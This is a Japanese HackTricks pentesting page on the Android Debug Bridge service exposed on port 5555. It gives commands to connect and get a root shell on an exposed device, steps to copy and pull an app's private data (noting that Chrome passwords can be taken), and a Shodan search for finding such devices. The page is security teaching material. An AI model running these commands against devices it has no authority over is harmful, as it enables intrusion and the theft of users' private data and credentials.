hacktricks/network-services-pentesting/5555-android-debug-bridge.md
2023-07-07 23:42:27 +00:00

5.5 KiB
Raw Blame History

5555 - Android Debug Bridge

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

Android Debug Bridgeadbは、デバイスとの通信を可能にする多目的なコマンドラインツールです。 adbコマンドは、アプリのインストールやデバッグなど、さまざまなデバイスアクションを容易にし、デバイス上でさまざまなコマンドを実行するために使用できるUnixシェルへのアクセスを提供します。 ここから

デフォルトポート5555。

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

接続

もしデバイスのポートで実行されているADBサービスを見つけ、それに接続できる場合、システム内にシェルを取得することができます:

adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell

以下のページでさらにADBコマンドを確認してください

{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %} adb-commands.md {% endcontent-ref %}

アプリデータのダンプ

アプリケーションのデータを完全にダウンロードするには、次の手順を実行します:

# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"

このトリックを使用すると、Chromeのパスワードなどの機密情報を取得することができます。詳細については、こちらの情報と参考文献をご覧ください。

Shodan

  • android debug bridge
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥